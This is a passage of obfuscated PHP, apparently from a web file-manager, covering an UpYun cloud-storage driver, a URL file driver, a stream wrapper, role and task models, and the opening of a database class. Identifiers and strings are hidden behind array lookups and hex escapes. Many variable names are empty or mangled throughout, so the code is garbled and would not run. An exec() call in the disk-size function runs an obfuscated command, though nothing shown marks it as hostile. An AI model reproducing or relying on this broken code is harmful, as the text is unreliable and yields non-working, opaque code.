$şݝ[1851] => (int) $[$şݝ[1848]] * 1024 * 1024 * 1024, $şݝ[1852] => (int) $, $şݝ[1853] => ucfirst($), $şݝ[1854] => $şݝ[1855] . PHP_VERSION, $şݝ[1856] => phpBuild64() ? 64 : 32, $şݝ[756] => str_replace($şݝ[1132], $şݝ[994], $٫ٙ), $şݝ[349] => ucfirst($Ň), $şݝ[32] => $_SERVER[$şݝ[1857]]); } private function diskDriver() { $ =& $_SERVER[]; $ = $[8]; $Պڸ = $GLOBALS[$[6]][$[1298]] == $[1299]; if ($Պڸ) { $ = $[1858]; if (function_exists($[1859])) { exec($[1860], $); $ = $[1] . $[8]; } } if (!file_exists($)) { return; } $ԃ = @disk_total_space($); $ = $ԃ - @disk_free_space($); return array($[1848] => $ԃ, $[1850] => $); } public function fileChart($ִ) { $țß =& $_SERVER[]; if (isset($ִ[$țß[1670]])) { return Model($țß[824])->userFileTypeProfile($ִ[$țß[1670]]); } if (isset($ִ[$țß[1861]])) { return Model($țß[824])->groupFileTypeProfile($ִ[$țß[1861]]); } $ݠ = $this->sourceSize(); $ = array($țß[432] => 0, $țß[411] => 1); $Ɣَ = Model($țß[824])->where($)->sum($țß[76]); $[$țß[411]] = 2; $䔞 = Model($țß[824])->where($)->sum($țß[76]); return array($țß[762] => $ݠ[$țß[76]], $țß[1795] => $ݠ[$țß[1795]], $țß[1796] => (int) $Ɣَ, $țß[1797] => (int) $䔞); } private function sourceSize() { $Ƹ =& $_SERVER[]; $ޓ = Model($Ƹ[824])->where(array($Ƹ[410] => 0))->sum($Ƹ[76]); $Ȭ = Model($Ƹ[471])->sum($Ƹ[76]); if ($Ȭ > $ޓ) { $Ȭ = $ޓ; } return array($Ƹ[76] => (int) $ޓ, $Ƹ[1795] => (int) $Ȭ); } } goto AԳ; a˃: class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\x74\x74\160\x3a\57\x2f\x76\60\56\141\x70\151\56\165\x70\171\165\156\56\143\x6f\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($) { $ځ =& $_SERVER[]; foreach ($ as $ː => $) { if (isset($this->{$ː})) { $this->{$ː} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($ځ[1467] . LNG($ځ[1398])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($ͳ, $ۇĄ = "\107\105\x54") { $Ǥъ =& $_SERVER[]; $˅ = gmdate($Ǥъ[1431]); $ = base64_encode(hash_hmac($Ǥъ[1468], "{$ۇĄ}\46{$ͳ}\x26{$˅}", md5("{$this->userpass}"), !0)); $ʏ = array("\x41\165\x74\150\x6f\x72\x69\x7a\141\x74\x69\157\x6e\x3a\x55\x50\131\x55\x4e\40{$this->username}\72{$}", "\104\141\x74\x65\x3a{$˅}"); return $ʏ; } public function ussRequest($읂, $ = "\x47\105\x54", $ = false, $Ŵ = false, $ウ = false) { $˧ =& $_SERVER[]; $읂 = trim($읂, $˧[8]); $܈ = "\57{$this->bucket}\x2f{$읂}"; $ = $this->ussHeaders($܈, $); if ($Ŵ) { $ = array_merge($, $Ŵ); } $ = url_request($this->endpoint . $܈, $, $, $, $ウ); if (!$) { return array($˧[1214] => !1, $˧[1204] => $˧[1469]); } if (strtolower($) == $˧[197] || in_array($[$˧[1214]], array($˧[1324], $˧[1470]))) { $ = $[$˧[1471]]; } else { $ = json_decode($[$˧[1204]], !0); if (!$) { $ = $[$˧[1204]]; } else { if (!$[$˧[748]] && isset($[$˧[1472]])) { $ = $[$˧[1472]]; } } } return array($˧[1214] => $[$˧[748]], $˧[1204] => $); } public function mkfile($ȝ, $解 = '', $ě = REPEAT_RENAME) { if ($this->setContent($ȝ, $解)) { return $this->getPathOuter($ȝ); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ŧ = array($[1473]); $ʧိ = $this->ussRequest($, $[226], !1, $ŧ); return $ʧိ[$[1214]] ? $this->getPathOuter($) : !1; } public function copyFile($, $ގ) { $ҷ =& $_SERVER[]; $̫ = array($ҷ[1474] . "\x2f{$this->bucket}\x2f{$}", $ҷ[1475]); $¯ = $this->ussRequest($ގ, $ҷ[228], !1, $̫); return $¯[$ҷ[1214]] ? !0 : $this->getPathOuter($ގ); } public function moveFile($ٺ, $ů) { $߃ =& $_SERVER[]; $ʼ = array($߃[1476] . "\57{$this->bucket}\57{$ٺ}", $߃[1475]); $ = $this->ussRequest($ů, $߃[228], !1, $ʼ); return $[$߃[1214]] ? !0 : $this->getPathOuter($ů); } public function delFile($) { $ =& $_SERVER[]; $ = $this->ussRequest($, $[1477]); return $[$[1214]] ? !0 : !1; } public function delFolder($) { $ʶ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $ǖ = array(); $this->fileList($, $, $ǖ, !0); $this->listItemCache = !0; foreach ($ǖ as $ߙ) { $ = $this->ussRequest($ߙ[$ʶ[32]], $ʶ[1477]); if (!$[$ʶ[1214]]) { return !1; } } foreach ($ as $) { $ = $this->ussRequest($, $ʶ[1477]); if (!$[$ʶ[1214]]) { return !1; } } $ = $this->ussRequest($, $ʶ[1477]); return $[$ʶ[1214]]; } public function rename($屡, $¦) { if ($this->isFile($屡)) { $¦ = get_path_father($屡) . $¦; return $this->moveFile($屡, $¦); } return $this->renameObject($屡, $¦); } public function fileInfo($Ȧ, $֟ = false, $ = array()) { $̮ =& $_SERVER[]; $ = array($̮[32] => $this->pathThis($Ȧ), $̮[84] => $this->getPathOuter($̮[8] . $Ȧ), $̮[33] => $̮[200], $̮[76] => isset($[$̮[76]]) ? $[$̮[76]] : 0, $̮[174] => $this->ext($Ȧ)); if ($֟) { return $; } $[$̮[201]] = $[$̮[85]] = 0; $[$̮[202]] = $[$̮[203]] = !0; if (empty($)) { $ = $this->objectMeta($Ȧ); if (!$) { return $; } } $[$̮[201]] = intval($[$̮[1478]]); $[$̮[85]] = intval($[$̮[1479]]); $[$̮[76]] = $[$̮[76]]; return $; } public function folderInfo($Г, $ = false) { $ʳ =& $_SERVER[]; $䱷 = array($ʳ[32] => $this->pathThis($Г), $ʳ[84] => $this->getPathOuter($ʳ[8] . $Г), $ʳ[33] => $ʳ[75]); if ($) { return $䱷; } $䱷[$ʳ[201]] = $䱷[$ʳ[85]] = 0; $䱷[$ʳ[202]] = $䱷[$ʳ[203]] = !0; if (empty($)) { $ = $this->objectMeta($Г); if (!$) { return $䱷; } } $䱷[$ʳ[201]] = intval($[$ʳ[1478]]); $䱷[$ʳ[85]] = intval($[$ʳ[1479]]); return $䱷; } private function listObjs($ٗ, $̭ = 0, $Л = 1000) { $ѠƂ =& $_SERVER[]; $ = array($ѠƂ[1480], $ѠƂ[1481] . $Л); if ($̭) { $[] = $ѠƂ[1482] . $̭; } $ = $this->ussRequest($ٗ, $ѠƂ[230], !1, $); return !$[$ѠƂ[1214]] ? !1 : $[$ѠƂ[1204]]; } private function fileList($֎֯, &$ȼץ, &$ǃ, $ = false) { $ =& $_SERVER[]; $ = $[12]; $ = 1000; $ = rtrim($֎֯, $[8]) . $[8]; while (!0) { check_abort(); $ȡ = $this->listObjs($֎֯, $, $); if (!$ȡ) { return !1; } $ = isset($ȡ[$[1483]]) ? $ȡ[$[1483]] : $[12]; $Ӷ = isset($ȡ[$[1484]]) ? $ȡ[$[1484]] : array(); foreach ($Ӷ as $) { $ = $[$[33]] == $[75] ? !0 : !1; $LJ = ltrim($ . $[$[32]], $[8]) . ($ ? $[8] : $[12]); $ن = array($[32] => $LJ, $[33] => $ ? $[75] : $[200], $[76] => $[$[337]], $[1479] => $[$[1485]]); $this->cacheMethodInfoSet($LJ, $, $ن); if ($) { $ȼץ[] = $LJ; if ($) { $this->fileList($LJ, $ȼץ, $ǃ, $); } continue; } $ǃ[] = $ن; } if (count($Ӷ) < $) { break; } } $this->cacheMethodInfoSet($֎֯, !0); } public function listPath($, $ = false) { $ =& $_SERVER[]; $蟳 = $ = array(); $this->fileList($, $蟳, $); foreach ($蟳 as $ => $͂) { $蟳[$] = $this->folderInfo($͂, $); } foreach ($ as $ => $͂) { $[$] = $this->fileInfo($͂[$[32]], $, $͂); } return array($[82] => $蟳, $[83] => $); } public function has($؍, $ = false, $븢 = true) { $ =& $_SERVER[]; $ = $[12]; $Μ = 500; $Ч = 0; $ = 0; $ȼĮ = rtrim($؍, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($؍, $, $Μ); if (!$) { return !1; } $ = isset($[$[1483]]) ? $[$[1483]] : $[12]; $ = isset($[$[1484]]) ? $[$[1484]] : array(); if (empty($)) { break; } $ = array_filter($, function ($ʭ) { $ =& $_SERVER[]; return $ʭ[$[33]] == $[75]; }); $ = count($); $ = count($); $Ƽ = $ - $; if ($) { $ += $; $Ч += $Ƽ; if ($ < $Μ) { break; } continue; } if ($븢) { if ($Ƽ) { return !0; } } else { if ($) { return !0; } } if ($ < $Μ) { break; } } if ($) { return array($[207] => $Ч, $[208] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $ = array(); $this->fileList($, $, $Â, !0); $ٖ = array_to_keyvalue($Â, $[32]); foreach ($ as $߸⫠) { if (is_string($߸⫠)) { $ٖ[$߸⫠] = array($[76] => 0); } } return $this->listAllFiles($, $ٖ); } public function canRead($Ӗ) { return $this->exist($Ӗ) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($ɠ, $͋ǔ = '') { $ٵ =& $_SERVER[]; if (!$͋ǔ) { $ϱ = $this->ussRequest($ɠ, $ٵ[226]); return $ϱ[$ٵ[1214]]; } $ۚ = $this->tempFile($this->pathThis($ɠ)); file_put_contents($ۚ, $͋ǔ); if ($this->upload($ɠ, $ۚ)) { $this->tempFileRemve($ۚ); return !0; } return !1; } public function fileSubstr($뵖, $, $) { $ǖ =& $_SERVER[]; if (!($ȋԡ = $this->link($뵖))) { return !1; } $ྯ = !1; if ($ > 0) { $ = $ + $ - 1; $ྯ = array($ǖ[1446] . $ . $ǖ[386] . $); } $Ζ = url_request($ȋԡ, $ǖ[230], !1, $ྯ); return $Ζ[$ǖ[748]] ? $Ζ[$ǖ[1204]] : !1; } public function upload($, $ζ, $ѹ٩ = false, $帄 = REPEAT_REPLACE) { $ɧ =& $_SERVER[]; $֢ = IO::size($ζ); if ($֢ <= 1024 * 1024 * 200) { $ׄԢ = array($ɧ[1486] . $ζ); $ײ = $this->ussRequest($, $ɧ[228], $ׄԢ); return $ײ[$ɧ[1214]] ? $this->getPathOuter($) : !1; } $ = 1024 * 1024 * 10; $ܸ = array($ɧ[1487], $ɧ[1488] . $֢, $ɧ[1489], $ɧ[1490] . $); $ײ = $this->ussRequest($, $ɧ[228], !1, $ܸ); if (!$ײ[$ɧ[1214]]) { return !1; } $« = $ײ[$ɧ[1204]]; $ = 0; $ѵݼ = $«[$ɧ[1491]]; $ߪ = fopen($ζ, $ɧ[1395]); if (!$ߪ) { return !1; } do { $ = $«[$ɧ[1492]]; fseek_64($ߪ, $); $ = fread($ߪ, $); $הǡ = 0; do { $הǡ++; $« = $this->uploadPart($, $«, $); } while (!$« && $הǡ < 3); if (!$«) { return !1; } $ѵݼ = $«[$ɧ[1491]]; $ += $; } while ($ѵݼ != -1); fclose($ߪ); $ܸ = array($ɧ[1493], $ɧ[1494] . $«[$ɧ[1495]], $ɧ[1489]); $ײ = $this->ussRequest($, $ɧ[228], !1, $ܸ); return $ײ[$ɧ[1214]] ? $this->getPathOuter($ޘ) : !1; } private function uploadPart($Ђ, $, &$Ă) { $ =& $_SERVER[]; $Ԅ = array($[1496], $[1494] . $[$[1495]], $[1497] . $[$[1491]], $[142] . $[$[1492]]); $־ = $this->ussRequest($Ђ, $[228], $Ă, $Ԅ); return !$־[$[1214]] ? $־[$[1214]] : $־[$[1204]]; } public function uploadFormData($پ, $ΌԌ = 3600) { return $this->uploadPolicy($پ, $ΌԌ); } public function multiUploadFormData($, $ = 3600) { $² =& $_SERVER[]; $ߎ = (int) $GLOBALS[$²[7]][$²[76]]; return $this->uploadPolicy($, $, $ߎ); } private function uploadPolicy($, $זߥ = 3600, $Ҕ = 0) { $չ =& $_SERVER[]; $ˮ = $չ[8] . $this->bucket; $ = gmdate($չ[1431]); $Ӷ = array($չ[1498] => $this->bucket, $չ[1499] => $, $չ[1500] => time() + $זߥ, $չ[1501] => $); if ($Ҕ) { $Ӷ[$չ[1411]] = $Ҕ; } $˛ = base64_encode(json_encode($Ӷ)); $ = base64_encode(hash_hmac($չ[1468], "\120\117\123\124\46{$ˮ}\46{$}\46{$˛}", md5("{$this->userpass}"), !0)); $܇ = array($չ[1336] => $˛, $չ[1502] => "\125\120\x59\125\x4e\x20{$this->username}\72{$}", $չ[182] => $this->endpoint . $ˮ); return $܇; } public function download($, $⨜) { $ã = IO::getPathInner(IO::mkfile($⨜)); if (!($Ҡ = $this->link($))) { return !1; } $ݏ = 0; $Ϧ = 1024 * 200; $ = fopen($ã, $_SERVER[][1452]); while (!0) { $ = $this->fileSubstr($, $ݏ, $Ϧ); if ($ === !1) { return !1; } fwrite($, $); $ݏ += $Ϧ; if (strlen($) < $Ϧ) { break; } } fclose($); return $⨜; } public function link($, $ = array()) { $˶ =& $_SERVER[]; $ = trim($, $˶[8]); if (!empty($this->token)) { $ŕ = strtotime(date($˶[1503])); $Ʋص = substr(md5($this->token . $˶[284] . $ŕ . $˶[1504] . $), 12, 8) . $ŕ; $[] = $˶[1505] . $Ʋص; } $䊐 = !empty($) ? $˶[73] . implode($˶[284], $) : $˶[12]; return $this->getHost() . $˶[8] . $ . $䊐; } public function fileOut($ӆו, $ = false, $ܔ = false, $߷Ҽ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($ӆו, $, $ܔ, $߷Ҽ); } if (!$ܔ) { $ܔ = $this->pathThis($ӆו); } $ɢ = $ ? array($_SERVER[][1506] . rawurlencode($ܔ)) : array(); $ = $this->link($ӆו, $ɢ); $this->fileOutLink($); } public function fileOutServer($, $М = false, $ч = false, $ɇ = '') { parent::fileOut($, $М, $ч, $ɇ); } public function fileOutImage($Ч, $ = 250) { $ = $this->link($Ч . $_SERVER[][1507] . $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($Ʉ) { $ċ =& $_SERVER[]; $ӷ = $this->_objectMeta($Ʉ); return isset($ӷ[$ċ[212]]) ? $ӷ[$ċ[212]] : !1; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][76]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ɟ) { return $this->isFile($ɟ) || $this->isFolder($ɟ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($֠) { return $this->cacheMethod($_SERVER[][165], $֠); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][167], $); } protected function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } $ = $this->ussRequest($, $[1508]); if (!$[$[1214]]) { return null; } $ = isset($[$[1204]]) ? $[$[1204]] : array(); if (!isset($[$[1509]])) { return null; } $ = array($[33] => isset($[$[1509]]) ? $[$[1509]] : null, $[76] => isset($[$[1510]]) ? $[$[1510]] : null, $[212] => isset($[$[1511]]) ? $[$[1511]] : null, $[1478] => isset($[$[1512]]) ? $[$[1512]] : null); $[$[1479]] = isset($[$[1513]]) ? strtotime($[$[1513]]) : $[$[1478]]; return $; } protected function _isFolder($͊) { $핦 =& $_SERVER[]; if ($͊ == $핦[12] || $͊ == $핦[8]) { return !0; } $؛ = $this->_objectMeta($͊); return isset($؛[$핦[33]]) && $؛[$핦[33]] == $핦[75] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ = false) { } public function exist($ɘ) { $ = $this->info($ɘ); return $[$_SERVER[][202]]; } public function isFile($؉) { $І = $this->info($؉); return $І[$_SERVER[][202]]; } public function isFolder($) { return !1; } public function size($᷍) { $썃 = $this->info($᷍); return $썃[$_SERVER[][76]]; } public function info($) { return $this->infoParse($); } public function infoAuth($Օ) { return $this->infoParse($Օ); } public function infoWithChildren($) { return $this->infoParse($); } public function infoFull($) { return $this->infoParse($); } private function infoParse($³) { $ =& $_SERVER[]; $ = $this->header($³); if (!$ || !$[$[748]]) { return !1; } $ = _get($, $[337], 0); $˹ = array($[32] => $[$[32]], $[84] => $³, $[33] => $[200], $[76] => intval($), $[174] => get_path_ext($[$[32]]), $[1392] => $ > 0 && $[$[1514]], $[1393] => !1); return $˹; } private function header($Ŵ) { $٥Й =& $_SERVER[]; if (isset(self::$_cacheHeader[$Ŵ])) { return self::$_cacheHeader[$Ŵ]; } $ = isset($GLOBALS[$٥Й[1515]]) ? $GLOBALS[$٥Й[1515]] : !1; $GLOBALS[$٥Й[1515]] = !0; self::$_cacheHeader[$Ŵ] = url_header($Ŵ); $GLOBALS[$٥Й[1515]] = $; return self::$_cacheHeader[$Ŵ]; } public function hashSimple($̄, $ = false) { $ =& $_SERVER[]; $Պ = $this->info($̄); if (!$Պ || !$Պ[$[202]]) { return !1; } $ = $Պ[$[76]]; $̵ = 200; $Ǐ = 50; if ($ <= $̵ * $Ǐ) { return md5($this->fileSubstr($̄, 0, $)) . $; } $ = intval($ / $Ǐ); $ǒ = $[12]; $ = timeFloat(); $ = 15; for ($ù = 0; $ù < $Ǐ; $ù++) { if (timeFloat() - $ > $) { return !1; } $ = $this->fileSubstr($̄, $ * $ù, $̵); if (!$) { return !1; } $ǒ .= $; } $ǒ .= $this->fileSubstr($̄, $ - $̵, $̵); return md5($ǒ) . $; } public function getContent($ș) { return $this->fileSubstr($ș); } public function fileSubstr($͎, $ާ = 0, $뗪 = -1) { $ =& $_SERVER[]; $ϱ렵 = $this->info($͎); if (!$ϱ렵 || !$ϱ렵[$[202]] && $ϱ렵[$[76]] > 1024 * 1024 * 10) { return !1; } if ($뗪 === -1) { $뗪 = $ϱ렵[$[76]]; } if ($뗪 == 0) { return $[12]; } $艳 = array($[1516] . $ާ . $[781] . ($ާ + $뗪 - 1)); $꜐ = url_request($͎, $[230], !1, $艳, !1, !1, 30); return $꜐[$[1204]] ? $꜐[$[1204]] : $[12]; } public function download($Ǫ, $) { Downloader::start($Ǫ, $); return $; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $˳ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][84]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $߂ = $this->fileSubstr($this->pose, $); $this->pose += strlen($߂); return $߂; } public function stream_tell() { return $this->pose; } public function stream_seek($, $҉ɬ) { $ =& $_SERVER[]; if ($҉ɬ == SEEK_SET) { $this->pose = $; } else { if ($҉ɬ == SEEK_CUR) { $this->pose += $; } else { if ($҉ɬ == SEEK_END) { $this->pose = $this->info[$[76]] + intval($); } } } if ($ < 0) { $this->pose = $this->info[$[76]] + $; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][76]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($̐, $ƯΞ) { $ =& $_SERVER[]; $ = $this->info($̐); return array($[1517] => 0, $[1518] => 0, $[16] => 32768 + 511, $[1519] => 0, $[1520] => 0, $[1521] => 0, $[1522] => 0, $[76] => $[$[76]], $[1523] => $[$[1391]], $[1479] => $[$[85]], $[1478] => $[$[201]], $[1524] => 0, $[1525] => 0); } static $fileInfo = array(); public function info($) { $ = $_SERVER[][1526]; if (isset(self::$fileInfo[$])) { return self::$fileInfo[$]; } if (substr($, 0, strlen($)) != $) { return !1; } self::$fileInfo[$] = IO::info(substr($, strlen($))); return self::$fileInfo[$]; } public static function read($ഋ, $Ӳ, $) { if (!isset(self::$_fopenCache[$ഋ])) { $֖ = new StreamWrapperIO(); $֖->stream_open($ഋ); self::$_fopenCache[$ഋ] = $֖; } $֖ = self::$_fopenCache[$ഋ]; return $֖->fileSubstr($Ӳ, $); } public static function _read($, $Ӓ, $씩) { $ =& $_SERVER[]; $䧡 = fopen($, $[1395]); if (!$䧡) { return $[12]; } $ϕ = 8192; fseek($䧡, $Ӓ, SEEK_SET); $ = $[12]; $ڈȗ = 0; while ($ڈȗ < $씩) { $♰Ư = min($ϕ, $씩 - $ڈȗ); $ .= fread($䧡, $♰Ư); $ڈȗ += $♰Ư; } fclose($䧡); return $; } public function fileSubstr($АĹ, $) { $˸ =& $_SERVER[]; $ = $this->info[$˸[76]]; $ = $АĹ; $ = $; if ($АĹ < 0) { $АĹ = $ + $АĹ; } if ($ === !1) { $ = $ - $АĹ; } if ($АĹ + $ > $) { $ = $ - $АĹ; } if ($ <= 0) { return $˸[12]; } if ($АĹ < 0 || $АĹ >= $ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("\151\x6f\x46\151\154\x65\122\x65\x61\x64\x20\x65\x72\162\157\x72\41\x20\163\164\x61\x72\164\75{$АĹ}\73\154\x65\156\x67\164\150\75{$}\73\40\x73\x69\x7a\145\x3d{$}\73"); } $Ŝ = 64 * 1024; $Ñ =& self::$_chunkBuffer[$this->path]; if (!$Ñ) { $Ñ = array(); } $ = 0; $Ԑ = 0; $э = $˸[12]; foreach ($Ñ as $ => $э) { $ = intval($); $Ԑ = $ + strlen($э); if ($АĹ >= $Ԑ) { continue; } if ($АĹ >= $ && $АĹ + $ <= $Ԑ) { return substr($э, $АĹ - $, $); } break; } if (count($Ñ) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($˸[1527], $˸[1528] . count($Ñ) . "\73\163\x74\141\x72\164\75{$АĹ}\54\154\145\156\x67\x74\x68\75{$}\73\x70\157\163\145\72{$}\x7e{$Ԑ}"); throw new Exception($˸[1529]); } $ = intval($АĹ / $Ŝ) * $Ŝ; $ = ceil(($АĹ + $) / $Ŝ) * $Ŝ - $; $ = IO::fileSubstr($this->path, $, $); $Ñ[$ . $˸[12]] = $; ksort($Ñ); $ڜɕ = substr($, $АĹ - $, $); return $ڜɕ; } private function log($, $ۖ) { $ =& $_SERVER[]; $ = timeFloat() - $this->timeStart; write_log(sprintf($[1530], $, $this->info[$[32]], $, $ۖ), $[1184]); } } goto BÛ; flj˙: class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\x65\x6d\56\162\x6f\x6c\145\x4c\x69\163\164"; public $field = array("\156\141\x6d\145", "\141\165\x74\x68", "\154\x61\x62\x65\154", "\x64\151\163\160\x6c\141\171", "\x73\171\163\164\145\155", "\x64\x65\x73\143", "\151\147\156\x6f\x72\x65\105\x78\164", "\151\147\156\157\x72\x65\x46\151\154\x65\123\x69\172\x65", "\x61\x64\x6d\x69\156\151\x73\164\x72\141\x74\x6f\162", "\x73\157\x72\164"); public function listData($ = false, $ = "\x73\157\162\164", $ǚ = false) { $š =& $_SERVER[]; $˰ = parent::listData($, $, $ǚ); if (!$) { foreach ($˰ as $ڶ => $҉) { if ($҉[$š[2063]] == 1) { $˰[$ڶ][$š[453]] = LNG($š[2298]); } } } return $˰; } public function update($Ѡ, $ݗ) { $ =& $_SERVER[]; $듔 = parent::listData($Ѡ); $ = $this->findByName($ݗ[$[32]]); if (!$듔 || $ && $[$[399]] != $듔[$[399]]) { return !1; } if ($[$[2063]] == 1) { $ݗ = array($[32] => $ݗ[$[32]], $[1884] => $ݗ[$[1884]]); } $this->filterAuth($ݗ[$[413]]); return parent::update($Ѡ, $ݗ); } public function remove($̱) { $ɲ = parent::listData($̱); if (!$ɲ || $ɲ[$_SERVER[][1286]]) { return !1; } return parent::remove($̱); } public function add($ꆝ) { $ =& $_SERVER[]; $ᄅن = $ꆝ[$[32]]; if ($this->findByName($ᄅن)) { return !1; } $ = array($[420] => $ᄅن, $[1867] => $[12], $[1863] => $[1871], $[2299] => 1, $[1866] => 0, $[2300] => 0, $[1865] => $this->getSort()); $ꆝ = array_merge($, $ꆝ); $this->filterAuth($ꆝ[$[413]]); return parent::insert($ꆝ); } private function getSort() { $ܗ =& $_SERVER[]; $؞ = parent::listData(); $͊ = array_to_keyvalue($؞, $ܗ[12], $ܗ[1885]); return empty($͊) ? 0 : max($͊) + 1; } private function filterAuth(&$덃) { $ =& $_SERVER[]; $䆫ρ = array(); $ܧ = array_filter(explode($[50], $덃)); foreach ($ܧ as $덃) { $ = explode($[10], $덃); if ($[0] == $[2301] && $[1] != $[1192]) { $䈊 = $[0] . $[10] . $[1] . $[2302]; if (!in_array($䈊, $ܧ)) { $䆫ρ[] = $䈊; } } $䆫ρ[] = $덃; } $덃 = implode($[50], $䆫ρ); } public function findRoleDefault() { $ԩ =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $) { if (!$ || $[$ԩ[1883]] == $ԩ[198] || $[$ԩ[2063]] == 1) { continue; } if (strstr($[$ԩ[413]], $ԩ[2303])) { continue; } if (!strstr($[$ԩ[413]], $ԩ[2304])) { continue; } if (!$) { $ = $; continue; } $ = explode($ԩ[50], $[$ԩ[413]]); $ = explode($ԩ[50], $[$ԩ[413]]); if (count($) > count($)) { $ = $; } } return $ ? $[$ԩ[399]] : $ԩ[12]; } public function sort($ݶޜ, $) { return parent::update($ݶޜ, $); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\145\155\x2e\x74\141\163\x6b\114\151\163\x74"; public $field = array("\x6e\x61\x6d\x65", "\164\x79\160\x65", "\145\166\145\156\164", "\164\151\155\145", "\144\x65\163\143", "\163\x79\163\164\x65\x6d", "\x65\156\x61\142\x6c\145", "\154\141\163\x74\122\x75\156", "\x73\157\x72\164"); public function listData($ = false, $͕ = "\163\x6f\x72\164", $ = false) { return parent::listData($, $͕, $); } public function add($҃) { $ =& $_SERVER[]; $ = $this->findByName($҃[$[32]]); if ($) { return !1; } $҃[$[1630]] = 0; $҃[$[1885]] = $this->getSort(); return parent::insert($҃); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1885]); return empty($) ? 0 : max($) + 1; } public function update($, $ޙ) { $ =& $_SERVER[]; $Ԛ = $this->listData($); $ = $this->findByName($ޙ[$[32]]); if (!$Ԛ || $ && $[$[399]] != $Ԛ[$[399]]) { return !1; } return parent::update($, $ޙ); } public function remove($, $ʷ = false) { $蛵 =& $_SERVER[]; $枅 = $this->listData($); if (!$枅) { return; } if (!$ʷ && $枅[$蛵[1286]] == $蛵[88]) { return !1; } return parent::remove($); } public function enable($, $) { return $this->update($, array($_SERVER[][2293] => $)); } public function run($߬) { return $this->update($߬, array($_SERVER[][2305] => time())); } } goto E; fǽ: class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\164\150\x69\x6e\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\x71" => "\75", "\x6e\x65\161" => "\74\76", "\147\x74" => "\x3e", "\145\x67\x74" => "\x3e\x3d", "\x6c\164" => "\74", "\x65\x6c\164" => "\74\75", "\x6e\157\164\154\151\x6b\x65" => "\116\x4f\124\x20\x4c\111\113\x45", "\154\x69\x6b\x65" => "\114\x49\113\x45", "\151\x6e" => "\111\116", "\x6e\157\x74\151\x6e" => "\x4e\117\124\40\111\116", "\x6e\157\164\x20\x69\156" => "\x4e\117\x54\x20\111\x4e", "\142\x65\164\167\x65\145\156" => "\102\105\x54\x57\x45\x45\x4e", "\x6e\x6f\164\142\x65\x74\x77\145\145\x6e" => "\116\117\x54\40\x42\x45\124\x57\x45\x45\116", "\156\157\x74\x20\142\145\164\167\145\x65\x6e" => "\116\x4f\124\40\102\105\124\x57\x45\x45\116"); protected $selectSql = "\x53\x45\114\105\x43\x54\x25\x44\111\123\124\x49\116\x43\x54\x25\x20\45\x46\x49\105\x4c\x44\x25\40\x46\x52\x4f\x4d\x20\x25\124\x41\102\114\x45\x25\45\x4a\x4f\111\116\x25\45\127\110\x45\122\x45\45\x25\x47\x52\117\x55\120\45\x25\x48\101\x56\x49\116\x47\45\x25\117\x52\104\x45\x52\x25\45\x4c\x49\115\x49\124\45\40\x25\x55\x4e\111\117\116\45\45\103\117\115\115\105\116\124\45"; protected $bind = array(); public static function getInstance() { $ߌ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][962], $ߌ); } public function factory($ؓ = '') { $ =& $_SERVER[]; $ؓ = $this->parseConfig($ؓ); if (empty($ؓ[$[963]])) { think_exception(think_lang($[964])); } $this->dbType = ucwords(strtolower($ؓ[$[963]])); $ʲ = $[965] . $this->dbType; if (class_exists($ʲ)) { $醾 = new $ʲ($ؓ); if ($[966] != strtolower($ؓ[$[963]])) { $醾->dbType = strtoupper($this->dbType); } else { $醾->dbType = $this->_getDsnType($ؓ[$[918]]); } } else { think_exception(think_lang($[967]) . $[968] . $ʲ); } 